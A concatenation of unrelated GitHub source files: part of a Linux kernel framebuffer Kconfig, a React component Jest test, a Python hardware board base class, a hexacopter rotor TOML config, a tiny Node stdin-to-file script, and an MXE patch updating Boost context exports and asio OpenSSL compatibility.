FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Say Y here if you want to support the built-in frame buffer of the Motorola 68328 CPU family. config FB_PXA168 tristate "PXA168/910 LCD framebuffer support" depends on FB && (CPU_PXA168 || CPU_PXA910) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the built-in LCD controller in the Marvell MMP processor. config FB_PXA tristate "PXA LCD framebuffer support" depends on FB && ARCH_PXA select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the built-in LCD controller in the Intel PXA2x0 processor. This driver is also available as a module ( = code which can be inserted and removed from the running kernel whenever you want). The module will be called pxafb. If you want to compile it as a module, say M here and read <file:Documentation/kbuild/modules.txt>. If unsure, say N. config FB_PXA_OVERLAY bool "Support PXA27x/PXA3xx Overlay(s) as framebuffer" default n depends on FB_PXA && (PXA27x || PXA3xx) config FB_PXA_SMARTPANEL bool "PXA Smartpanel LCD support" default n depends on FB_PXA config FB_PXA_PARAMETERS bool "PXA LCD command line parameters" default n depends on FB_PXA ---help--- Enable the use of kernel command line or module parameters to configure the physical properties of the LCD panel when using the PXA LCD driver. This option allows you to override the panel parameters supplied by the platform in order to support multiple different models of flatpanel. If you will only be using a single model of flatpanel then you can safely leave this option disabled. <file:Documentation/fb/pxafb.txt> describes the available parameters. config PXA3XX_GCU tristate "PXA3xx 2D graphics accelerator driver" depends on FB_PXA help Kernelspace driver for the 2D graphics controller unit (GCU) found on PXA3xx processors. There is a counterpart driver in the DirectFB suite, see http://www.directfb.org/ If you compile this as a module, it will be called pxa3xx_gcu. config FB_MBX tristate "2700G LCD framebuffer support" depends on FB && ARCH_PXA select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Framebuffer driver for the Intel 2700G (Marathon) Graphics Accelerator config FB_MBX_DEBUG bool "Enable debugging info via debugfs" depends on FB_MBX && DEBUG_FS default n ---help--- Enable this if you want debugging information using the debug filesystem (debugfs) If unsure, say N. config FB_FSL_DIU tristate "Freescale DIU framebuffer support" depends on FB && FSL_SOC select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select PPC_LIB_RHEAP ---help--- Framebuffer driver for the Freescale SoC DIU config FB_W100 tristate "W100 frame buffer support" depends on FB && ARCH_PXA select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the w100 as found on the Sharp SL-Cxx series. It can also drive the w3220 chip found on iPAQ hx4700. This driver is also available as a module ( = code which can be inserted and removed from the running kernel whenever you want). The module will be called w100fb. If you want to compile it as a module, say M here and read <file:Documentation/kbuild/modules.txt>. If unsure, say N. config FB_SH_MOBILE_LCDC tristate "SuperH Mobile LCDC framebuffer support" depends on FB && (SUPERH || ARCH_SHMOBILE) && HAVE_CLK depends on FB_SH_MOBILE_MERAM || !FB_SH_MOBILE_MERAM select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO select FB_BACKLIGHT select SH_MIPI_DSI if SH_LCD_MIPI_DSI ---help--- Frame buffer driver for the on-chip SH-Mobile LCD controller. config FB_SH_MOBILE_HDMI tristate "SuperH Mobile HDMI controller support" depends on FB_SH_MOBILE_LCDC select FB_MODE_HELPERS select SOUND select SND select SND_SOC ---help--- Driver for the on-chip SH-Mobile HDMI controller. config FB_TMIO tristate "Toshiba Mobile IO FrameBuffer support" depends on FB && (MFD_TMIO || COMPILE_TEST) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the Toshiba Mobile IO integrated as found on the Sharp SL-6000 series This driver is also available as a module ( = code which can be inserted and removed from the running kernel whenever you want). The module will be called tmiofb. If you want to compile it as a module, say M here and read <file:Documentation/kbuild/modules.txt>. If unsure, say N. config FB_TMIO_ACCELL bool "tmiofb acceleration" depends on FB_TMIO default y config FB_S3C tristate "Samsung S3C framebuffer support" depends on FB && (CPU_S3C2416 || ARCH_S3C64XX || \ ARCH_S5PV210 || ARCH_EXYNOS) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the built-in FB controller in the Samsung SoC line from the S3C2443 onwards, including the S3C2416, S3C2450, and the S3C64XX series such as the S3C6400 and S3C6410. These chips all have the same basic framebuffer design with the actual capabilities depending on the chip. For instance the S3C6400 and S3C6410 support 4 hardware windows whereas the S3C24XX series currently only have two. Currently the support is only for the S3C6400 and S3C6410 SoCs. config FB_S3C_DEBUG_REGWRITE bool "Debug register writes" depends on FB_S3C ---help--- Show all register writes via pr_debug() config FB_S3C2410 tristate "S3C2410 LCD framebuffer support" depends on FB && ARCH_S3C24XX select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the built-in LCD controller in the Samsung S3C2410 processor. This driver is also available as a module ( = code which can be inserted and removed from the running kernel whenever you want). The module will be called s3c2410fb. If you want to compile it as a module, say M here and read <file:Documentation/kbuild/modules.txt>. If unsure, say N. config FB_S3C2410_DEBUG bool "S3C2410 lcd debug messages" depends on FB_S3C2410 help Turn on debugging messages. Note that you can set/unset at run time through sysfs config FB_NUC900 tristate "NUC900 LCD framebuffer support" depends on FB && ARCH_W90X900 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the built-in LCD controller in the Nuvoton NUC900 processor config GPM1040A0_320X240 bool "Giantplus Technology GPM1040A0 320x240 Color TFT LCD" depends on FB_NUC900 config FB_SM501 tristate "Silicon Motion SM501 framebuffer support" depends on FB && MFD_SM501 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for the CRT and LCD controllers in the Silicon Motion SM501. This driver is also available as a module ( = code which can be inserted and removed from the running kernel whenever you want). The module will be called sm501fb. If you want to compile it as a module, say M here and read <file:Documentation/kbuild/modules.txt>. If unsure, say N. config FB_SMSCUFX tristate "SMSC UFX6000/7000 USB Framebuffer support" depends on FB && USB select FB_MODE_HELPERS select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO ---help--- This is a kernel framebuffer driver for SMSC UFX USB devices. Supports fbdev clients like xf86-video-fbdev, kdrive, fbi, and mplayer -vo fbdev. Supports both UFX6000 (USB 2.0) and UFX7000 (USB 3.0) devices. To compile as a module, choose M here: the module name is smscufx. config FB_UDL tristate "Displaylink USB Framebuffer support" depends on FB && USB select FB_MODE_HELPERS select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO ---help--- This is a kernel framebuffer driver for DisplayLink USB devices. Supports fbdev clients like xf86-video-fbdev, kdrive, fbi, and mplayer -vo fbdev. Supports all USB 2.0 era DisplayLink devices. To compile as a module, choose M here: the module name is udlfb. config FB_IBM_GXT4500 tristate "Framebuffer support for IBM GXT4000P/4500P/6000P/6500P adaptors" depends on FB && PPC select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Say Y here to enable support for the IBM GXT4000P/6000P and GXT4500P/6500P display adaptor based on Raster Engine RC1000, found on some IBM System P (pSeries) machines. This driver doesn't use Geometry Engine GT1000. config FB_PS3 tristate "PS3 GPU framebuffer driver" depends on FB && PS3_PS3AV select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS ---help--- Include support for the virtual frame buffer in the PS3 platform. config FB_PS3_DEFAULT_SIZE_M int "PS3 default frame buffer size (in MiB)" depends on FB_PS3 default 9 ---help--- This is the default size (in MiB) of the virtual frame buffer in the PS3. The default value can be overridden on the kernel command line using the "ps3fb" option (e.g. "ps3fb=9M"); config FB_XILINX tristate "Xilinx frame buffer support" depends on FB && (XILINX_VIRTEX || MICROBLAZE || ARCH_ZYNQ) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Include support for the Xilinx ML300/ML403 reference design framebuffer. ML300 carries a 640*480 LCD display on the board, ML403 uses a standard DB15 VGA connector. config FB_GOLDFISH tristate "Goldfish Framebuffer" depends on FB && HAS_DMA && (GOLDFISH || COMPILE_TEST) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Framebuffer driver for Goldfish Virtual Platform config FB_COBALT tristate "Cobalt server LCD frame buffer support" depends on FB && (MIPS_COBALT || MIPS_SEAD3) config FB_SH7760 bool "SH7760/SH7763/SH7720/SH7721 LCDC support" depends on FB && (CPU_SUBTYPE_SH7760 || CPU_SUBTYPE_SH7763 \ || CPU_SUBTYPE_SH7720 || CPU_SUBTYPE_SH7721) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Support for the SH7760/SH7763/SH7720/SH7721 integrated (D)STN/TFT LCD Controller. Supports display resolutions up to 1024x1024 pixel, grayscale and color operation, with depths ranging from 1 bpp to 8 bpp monochrome and 8, 15 or 16 bpp color; 90 degrees clockwise display rotation for panels <= 320 pixel horizontal resolution. config FB_DA8XX tristate "DA8xx/OMAP-L1xx/AM335x Framebuffer support" depends on FB && (ARCH_DAVINCI_DA8XX || SOC_AM33XX) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_CFB_REV_PIXELS_IN_BYTE select FB_MODE_HELPERS select VIDEOMODE_HELPERS ---help--- This is the frame buffer device driver for the TI LCD controller found on DA8xx/OMAP-L1xx/AM335x SoCs. If unsure, say N. config FB_VIRTUAL tristate "Virtual Frame Buffer support (ONLY FOR TESTING!)" depends on FB select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS ---help--- This is a `virtual' frame buffer device. It operates on a chunk of unswappable kernel memory instead of on the memory of a graphics board. This means you cannot see any output sent to this frame buffer device, while it does consume precious memory. The main use of this frame buffer device is testing and debugging the frame buffer subsystem. Do NOT enable it for normal systems! To protect the innocent, it has to be enabled explicitly at boot time using the kernel option `video=vfb:'. To compile this driver as a module, choose M here: the module will be called vfb. In order to load it, you must use the vfb_enable=1 option. If unsure, say N. config XEN_FBDEV_FRONTEND tristate "Xen virtual frame buffer support" depends on FB && XEN select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO select INPUT_XEN_KBDDEV_FRONTEND if INPUT_MISC select XEN_XENBUS_FRONTEND default y help This driver implements the front-end of the Xen virtual frame buffer driver. It communicates with a back-end in another domain. config FB_METRONOME tristate "E-Ink Metronome/8track controller support" depends on FB select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO help This driver implements support for the E-Ink Metronome controller. The pre-release name for this device was 8track and could also have been called by some vendors as PVI-nnnn. config FB_MB862XX tristate "Fujitsu MB862xx GDC support" depends on FB depends on PCI || (OF && PPC) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Frame buffer driver for Fujitsu Carmine/Coral-P(A)/Lime controllers. choice prompt "GDC variant" depends on FB_MB862XX config FB_MB862XX_PCI_GDC bool "Carmine/Coral-P(A) GDC" depends on PCI ---help--- This enables framebuffer support for Fujitsu Carmine/Coral-P(A) PCI graphics controller devices. config FB_MB862XX_LIME bool "Lime GDC" depends on OF && PPC select FB_FOREIGN_ENDIAN select FB_LITTLE_ENDIAN ---help--- Framebuffer support for Fujitsu Lime GDC on host CPU bus. endchoice config FB_MB862XX_I2C bool "Support I2C bus on MB862XX GDC" depends on FB_MB862XX && I2C depends on FB_MB862XX=m || I2C=y default y help Selecting this option adds Coral-P(A)/Lime GDC I2C bus adapter driver to support accessing I2C devices on controller's I2C bus. These are usually some video decoder chips. config FB_EP93XX tristate "EP93XX frame buffer support" depends on FB && ARCH_EP93XX select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Framebuffer driver for the Cirrus Logic EP93XX series of processors. This driver is also available as a module. The module will be called ep93xx-fb. config FB_PRE_INIT_FB bool "Don't reinitialize, use bootloader's GDC/Display configuration" depends on FB && FB_MB862XX_LIME ---help--- Select this option if display contents should be inherited as set by the bootloader. config FB_MSM tristate "MSM Framebuffer support" depends on FB && ARCH_MSM select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT config FB_MX3 tristate "MX3 Framebuffer support" depends on FB && MX3_IPU select BACKLIGHT_CLASS_DEVICE select BACKLIGHT_LCD_SUPPORT select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT default y help This is a framebuffer device for the i.MX31 LCD Controller. So far only synchronous displays are supported. If you plan to use an LCD display with your i.MX31 system, say Y here. config FB_BROADSHEET tristate "E-Ink Broadsheet/Epson S1D13521 controller support" depends on FB select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO help This driver implements support for the E-Ink Broadsheet controller. The release name for this device was Epson S1D13521 and could also have been called by other names when coupled with a bridge adapter. config FB_AUO_K190X tristate "AUO-K190X EPD controller support" depends on FB select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO help Provides support for epaper controllers from the K190X series of AUO. These controllers can be used to drive epaper displays from Sipix. This option enables the common support, shared by the individual controller drivers. You will also have to enable the driver for the controller type used in your device. config FB_AUO_K1900 tristate "AUO-K1900 EPD controller support" depends on FB && FB_AUO_K190X help This driver implements support for the AUO K1900 epd-controller. This controller can drive Sipix epaper displays but can only do serial updates, reducing the number of possible frames per second. config FB_AUO_K1901 tristate "AUO-K1901 EPD controller support" depends on FB && FB_AUO_K190X help This driver implements support for the AUO K1901 epd-controller. This controller can drive Sipix epaper displays and supports concurrent updates, making higher frames per second possible. config FB_JZ4740 tristate "JZ4740 LCD framebuffer support" depends on FB && MACH_JZ4740 select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT help Framebuffer support for the JZ4740 SoC. config FB_MXS tristate "MXS LCD framebuffer support" depends on FB && (ARCH_MXS || ARCH_MXC) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MODE_HELPERS select VIDEOMODE_HELPERS help Framebuffer support for the MXS SoC. config FB_PUV3_UNIGFX tristate "PKUnity v3 Unigfx framebuffer support" depends on FB && UNICORE32 && ARCH_PUV3 select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS help Choose this option if you want to use the Unigfx device as a framebuffer device. Without the support of PCI & AGP. config FB_HYPERV tristate "Microsoft Hyper-V Synthetic Video support" depends on FB && HYPERV select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This framebuffer driver supports Microsoft Hyper-V Synthetic Video. config FB_SIMPLE bool "Simple framebuffer support" depends on (FB = y) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Say Y if you want support for a simple frame-buffer. This driver assumes that the display hardware has been initialized before the kernel boots, and the kernel will simply render to the pre-allocated frame buffer surface. Configuration re: surface address, size, and format must be provided through device tree, or plain old platform data. source "drivers/video/fbdev/omap/Kconfig" source "drivers/video/fbdev/omap2/Kconfig" source "drivers/video/fbdev/exynos/Kconfig" source "drivers/video/fbdev/mmp/Kconfig" config FB_SH_MOBILE_MERAM tristate "SuperH Mobile MERAM read ahead support" depends on (SUPERH || ARCH_SHMOBILE) select GENERIC_ALLOCATOR ---help--- Enable MERAM support for the SuperH controller. This will allow for caching of the framebuffer to provide more reliable access under heavy main memory bus traffic situations. Up to 4 memory channels can be configured, allowing 4 RGB or 2 YCbCr framebuffers to be configured. config FB_SSD1307 tristate "Solomon SSD1307 framebuffer support" depends on FB && I2C depends on OF depends on GPIOLIB select FB_SYS_FOPS select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_DEFERRED_IO select PWM help This driver implements support for the Solomon SSD1307 OLED controller over I2C.
{ "pile_set_name": "Github" }
import { Label, TextInput } from '@hospitalrun/components' import { shallow } from 'enzyme' import React from 'react' import TextInputWithLabelFormGroup from '../../../../shared/components/input/TextInputWithLabelFormGroup' describe('text input with label form group', () => { describe('layout', () => { it('should render a label', () => { const expectedName = 'test' const wrapper = shallow( <TextInputWithLabelFormGroup name={expectedName} label="test" value="" isEditable onChange={jest.fn()} />, ) const label = wrapper.find(Label) expect(label).toHaveLength(1) expect(label.prop('htmlFor')).toEqual(`${expectedName}TextInput`) expect(label.prop('text')).toEqual(expectedName) }) it('should render a text field', () => { const expectedName = 'test' const wrapper = shallow( <TextInputWithLabelFormGroup name={expectedName} label="test" value="" isEditable onChange={jest.fn()} />, ) const input = wrapper.find(TextInput) expect(input).toHaveLength(1) }) it('should render disabled is isDisable disabled is true', () => { const expectedName = 'test' const wrapper = shallow( <TextInputWithLabelFormGroup name={expectedName} label="test" value="" isEditable={false} onChange={jest.fn()} />, ) const input = wrapper.find(TextInput) expect(input).toHaveLength(1) expect(input.prop('disabled')).toBeTruthy() }) it('should render the proper value', () => { const expectedName = 'test' const expectedValue = 'expected value' const wrapper = shallow( <TextInputWithLabelFormGroup name={expectedName} label="test" value={expectedValue} isEditable={false} onChange={jest.fn()} />, ) const input = wrapper.find(TextInput) expect(input).toHaveLength(1) expect(input.prop('value')).toEqual(expectedValue) }) }) describe('change handler', () => { it('should call the change handler on change', () => { const expectedName = 'test' const expectedValue = 'expected value' const handler = jest.fn() const wrapper = shallow( <TextInputWithLabelFormGroup name={expectedName} label="test" value={expectedValue} isEditable={false} onChange={handler} />, ) const input = wrapper.find(TextInput) input.simulate('change') expect(handler).toHaveBeenCalledTimes(1) }) }) })
{ "pile_set_name": "Github" }
# Copyright (c) 2015 - 2016 Intel Corporation. # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. from __future__ import print_function from abc import ABCMeta, abstractmethod from event_emitter import EventEmitter from ..scheduler import SCHEDULER, ms class PinMappings(dict): """ Class for holding and manipulating pin mappings. """ def __init__(self, *args, **kwargs): super(PinMappings, self).__init__(*args, **kwargs) self.__dict__ = self def __iadd__(self, value): for k in self.iterkeys(): self[k] += value return self def __isub__(self, value): for k in self.iterkeys(): self[k] -= value return self class Board(object): """ Base class for Board hardware implementations """ __metaclass__ = ABCMeta def __init__(self): self.emitter = EventEmitter() self.hardware_event_job = SCHEDULER.add_job( self.update_hardware_state, "interval", seconds=ms(100), coalesce=True, max_instances=1) def trigger_hardware_event(self, event, *args, **kwargs): """ Signal hardware event. """ self.emitter.emit(event, *args, **kwargs) def add_event_handler(self, event, handler, once=False): """ Add hardware event handler. """ if once: self.emitter.once(event, handler) else: self.emitter.on(event, handler) def remove_event_handler(self, event, handler): """ Remove hardware event handler. """ self.emitter.remove(event, handler) @abstractmethod def update_hardware_state(self): """ Abstract method for updating hardware state. """ pass
{ "pile_set_name": "Github" }
# Generic Hexacopter in T configuration [info] key = "6t" description = "Generic Hexacopter in T configuration" [rotor_default] axis = [0.0, 0.0, -1.0] Ct = 1.0 Cm = 0.05 [[rotors]] name = "front_right_top" position = [0.729, 0.684, 0.1] direction = "CW" [[rotors]] name = "front_right_bottom" position = [0.729, 0.684, -0.1] direction = "CCW" [[rotors]] name = "rear_top" position = [-1.0, 0.0, 0.1] direction = "CW" [[rotors]] name = "rear_bottom" position = [-1.0, 0.0, -0.1] direction = "CCW" [[rotors]] name = "front_left_top" position = [0.729, -0.684, 0.1] direction = "CW" [[rotors]] name = "front_left_bottom" position = [0.729, -0.684, -0.1] direction = "CCW"
{ "pile_set_name": "Github" }
var fs = require('fs') process.stdin .pipe(fs.createWriteStream('input.txt'))
{ "pile_set_name": "Github" }
MetroHash checksum algorithm
{ "pile_set_name": "Github" }
This file is part of MXE. See LICENSE.md for licensing information. Contains ad hoc patches for cross building. From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 From: xantares <[email protected]> Date: Mon, 28 Sep 2015 08:21:42 +0000 Subject: [PATCH 1/4] Fix {make,jump}_fcontext visibility with mingw taken from: https://github.com/boostorg/context/pull/22 diff --git a/libs/context/src/asm/jump_i386_ms_pe_gas.asm b/libs/context/src/asm/jump_i386_ms_pe_gas.asm index 1111111..2222222 100644 --- a/libs/context/src/asm/jump_i386_ms_pe_gas.asm +++ b/libs/context/src/asm/jump_i386_ms_pe_gas.asm @@ -138,3 +138,6 @@ _jump_fcontext: /* indirect jump to context */ jmp *%edx + +.section .drectve +.ascii " -export:\"jump_fcontext\"" diff --git a/libs/context/src/asm/jump_x86_64_ms_pe_gas.asm b/libs/context/src/asm/jump_x86_64_ms_pe_gas.asm index 1111111..2222222 100644 --- a/libs/context/src/asm/jump_x86_64_ms_pe_gas.asm +++ b/libs/context/src/asm/jump_x86_64_ms_pe_gas.asm @@ -223,3 +223,6 @@ jump_fcontext: /* indirect jump to context */ jmp *%r10 .seh_endproc + +.section .drectve +.ascii " -export:\"jump_fcontext\"" diff --git a/libs/context/src/asm/make_i386_ms_pe_gas.asm b/libs/context/src/asm/make_i386_ms_pe_gas.asm index 1111111..2222222 100644 --- a/libs/context/src/asm/make_i386_ms_pe_gas.asm +++ b/libs/context/src/asm/make_i386_ms_pe_gas.asm @@ -122,3 +122,6 @@ finish: hlt .def __exit; .scl 2; .type 32; .endef /* standard C library function */ + +.section .drectve +.ascii " -export:\"make_fcontext\"" diff --git a/libs/context/src/asm/make_x86_64_ms_pe_gas.asm b/libs/context/src/asm/make_x86_64_ms_pe_gas.asm index 1111111..2222222 100644 --- a/libs/context/src/asm/make_x86_64_ms_pe_gas.asm +++ b/libs/context/src/asm/make_x86_64_ms_pe_gas.asm @@ -149,3 +149,6 @@ finish: .seh_endproc .def _exit; .scl 2; .type 32; .endef /* standard C library function */ + +.section .drectve +.ascii " -export:\"make_fcontext\"" From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 From: Tony Theodore <[email protected]> Date: Wed, 28 Feb 2018 19:43:45 +1100 Subject: [PATCH 2/4] fast-forward asio/ssl from 1.62 release diff --git a/boost/asio/ssl/detail/impl/engine.ipp b/boost/asio/ssl/detail/impl/engine.ipp index 1111111..2222222 100644 --- a/boost/asio/ssl/detail/impl/engine.ipp +++ b/boost/asio/ssl/detail/impl/engine.ipp @@ -203,23 +203,21 @@ const boost::system::error_code& engine::map_error_code( // If there's data yet to be read, it's an error. if (BIO_wpending(ext_bio_)) { - ec = boost::system::error_code( - ERR_PACK(ERR_LIB_SSL, 0, SSL_R_SHORT_READ), - boost::asio::error::get_ssl_category()); + ec = boost::asio::ssl::error::stream_truncated; return ec; } // SSL v2 doesn't provide a protocol-level shutdown, so an eof on the // underlying transport is passed through. +#if (OPENSSL_VERSION_NUMBER < 0x10100000L) if (ssl_->version == SSL2_VERSION) return ec; +#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L) // Otherwise, the peer should have negotiated a proper shutdown. if ((::SSL_get_shutdown(ssl_) & SSL_RECEIVED_SHUTDOWN) == 0) { - ec = boost::system::error_code( - ERR_PACK(ERR_LIB_SSL, 0, SSL_R_SHORT_READ), - boost::asio::error::get_ssl_category()); + ec = boost::asio::ssl::error::stream_truncated; } return ec; diff --git a/boost/asio/ssl/detail/impl/openssl_init.ipp b/boost/asio/ssl/detail/impl/openssl_init.ipp index 1111111..2222222 100644 --- a/boost/asio/ssl/detail/impl/openssl_init.ipp +++ b/boost/asio/ssl/detail/impl/openssl_init.ipp @@ -40,11 +40,15 @@ public: ::SSL_load_error_strings(); ::OpenSSL_add_all_algorithms(); +#if (OPENSSL_VERSION_NUMBER < 0x10100000L) mutexes_.resize(::CRYPTO_num_locks()); for (size_t i = 0; i < mutexes_.size(); ++i) mutexes_[i].reset(new boost::asio::detail::mutex); ::CRYPTO_set_locking_callback(&do_init::openssl_locking_func); +#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L) +#if (OPENSSL_VERSION_NUMBER < 0x10000000L) ::CRYPTO_set_id_callback(&do_init::openssl_id_func); +#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L) #if !defined(SSL_OP_NO_COMPRESSION) \ && (OPENSSL_VERSION_NUMBER >= 0x00908000L) @@ -61,20 +65,33 @@ public: #endif // !defined(SSL_OP_NO_COMPRESSION) // && (OPENSSL_VERSION_NUMBER >= 0x00908000L) +#if (OPENSSL_VERSION_NUMBER < 0x10000000L) ::CRYPTO_set_id_callback(0); +#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L) +#if (OPENSSL_VERSION_NUMBER < 0x10100000L) ::CRYPTO_set_locking_callback(0); ::ERR_free_strings(); -#if (OPENSSL_VERSION_NUMBER >= 0x10000000L) - ::ERR_remove_thread_state(NULL); -#else // (OPENSSL_VERSION_NUMBER >= 0x10000000L) - ::ERR_remove_state(0); -#endif // (OPENSSL_VERSION_NUMBER >= 0x10000000L) ::EVP_cleanup(); ::CRYPTO_cleanup_all_ex_data(); +#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L) +#if (OPENSSL_VERSION_NUMBER < 0x10000000L) + ::ERR_remove_state(0); +#elif (OPENSSL_VERSION_NUMBER < 0x10100000L) + ::ERR_remove_thread_state(NULL); +#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L) +#if (OPENSSL_VERSION_NUMBER >= 0x10002000L) \ + && (OPENSSL_VERSION_NUMBER < 0x10100000L) + ::SSL_COMP_free_compression_methods(); +#endif // (OPENSSL_VERSION_NUMBER >= 0x10002000L) + // && (OPENSSL_VERSION_NUMBER < 0x10100000L) +#if !defined(OPENSSL_IS_BORINGSSL) ::CONF_modules_unload(1); -#if !defined(OPENSSL_NO_ENGINE) +#endif // !defined(OPENSSL_IS_BORINGSSL) +#if !defined(OPENSSL_NO_ENGINE) \ + && (OPENSSL_VERSION_NUMBER < 0x10100000L) ::ENGINE_cleanup(); #endif // !defined(OPENSSL_NO_ENGINE) + // && (OPENSSL_VERSION_NUMBER < 0x10100000L) } #if !defined(SSL_OP_NO_COMPRESSION) \ @@ -87,19 +104,20 @@ public: // && (OPENSSL_VERSION_NUMBER >= 0x00908000L) private: +#if (OPENSSL_VERSION_NUMBER < 0x10000000L) static unsigned long openssl_id_func() { #if defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__) return ::GetCurrentThreadId(); #else // defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__) - void* id = instance()->thread_id_; - if (id == 0) - instance()->thread_id_ = id = &id; // Ugh. + void* id = &errno; BOOST_ASIO_ASSERT(sizeof(unsigned long) >= sizeof(void*)); return reinterpret_cast<unsigned long>(id); #endif // defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__) } +#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L) +#if (OPENSSL_VERSION_NUMBER < 0x10100000L) static void openssl_locking_func(int mode, int n, const char* /*file*/, int /*line*/) { @@ -112,11 +130,7 @@ private: // Mutexes to be used in locking callbacks. std::vector<boost::asio::detail::shared_ptr< boost::asio::detail::mutex> > mutexes_; - -#if !defined(BOOST_ASIO_WINDOWS) && !defined(__CYGWIN__) - // The thread identifiers to be used by openssl. - boost::asio::detail::tss_ptr<void> thread_id_; -#endif // !defined(BOOST_ASIO_WINDOWS) && !defined(__CYGWIN__) +#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L) #if !defined(SSL_OP_NO_COMPRESSION) \ && (OPENSSL_VERSION_NUMBER >= 0x00908000L) diff --git a/boost/asio/ssl/detail/openssl_types.hpp b/boost/asio/ssl/detail/openssl_types.hpp index 1111111..2222222 100644 --- a/boost/asio/ssl/detail/openssl_types.hpp +++ b/boost/asio/ssl/detail/openssl_types.hpp @@ -21,7 +21,9 @@ #if !defined(OPENSSL_NO_ENGINE) # include <openssl/engine.h> #endif // !defined(OPENSSL_NO_ENGINE) +#include <openssl/dh.h> #include <openssl/err.h> +#include <openssl/rsa.h> #include <openssl/x509v3.h> #include <boost/asio/detail/socket_types.hpp> diff --git a/boost/asio/ssl/error.hpp b/boost/asio/ssl/error.hpp index 1111111..2222222 100644 --- a/boost/asio/ssl/error.hpp +++ b/boost/asio/ssl/error.hpp @@ -26,6 +26,7 @@ namespace error { enum ssl_errors { + // Error numbers are those produced by openssl. }; extern BOOST_ASIO_DECL @@ -35,6 